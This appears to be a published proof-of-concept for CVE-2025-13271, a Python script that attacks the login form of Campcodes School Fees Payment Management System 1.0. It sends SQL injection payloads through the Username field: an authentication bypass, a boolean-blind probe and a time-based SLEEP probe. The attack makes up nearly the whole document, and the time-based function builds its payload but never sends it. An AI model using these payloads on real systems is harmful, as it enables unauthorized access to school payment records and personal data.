CVE-2025-13271 Campcodes学校费用支付系统SQL注入漏洞

# CVE-2025-13271 SQL Injection PoC # Target: Campcodes School Fees Payment Management System 1.0 # Endpoint: /ajax.php?action=login # Vulnerable Parameter: Username import requests import sys from urllib.parse import urlencode target_url = "http://target-site.com/ajax.php" def sql_injection_test(): """Test for SQL injection vulnerability in login form""" # Basic SQL injection payload for authentication bypass payload = "' OR '1'='1' --" data = { 'action': 'login', 'Username': payload, 'Password': 'anything' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) # Check for successful login indicators if response.status_code == 200: print(f"[+] Request sent to {target_url}") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)}") # Blind boolean-based injection for data extraction blind_payload = "' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" blind_data = { 'action': 'login', 'Username': blind_payload, 'Password': 'test' } blind_response = requests.post(target_url, data=blind_data, headers=headers, timeout=10) print(f"[+] Blind injection test completed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def extract_database_info(): """Extract database information using time-based blind SQL injection""" # Time-based blind injection to determine database version payload = "' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --" data = { 'action': 'login', 'Username': payload, 'Password': 'test' } print(f"[*] Testing time-based blind SQL injection...") print(f"[*] Payload: {payload}") if __name__ == "__main__": print("="*60) print("CVE-2025-13271 SQL Injection PoC") print("Target: Campcodes School Fees Payment System 1.0") print("="*60) sql_injection_test() extract_database_info()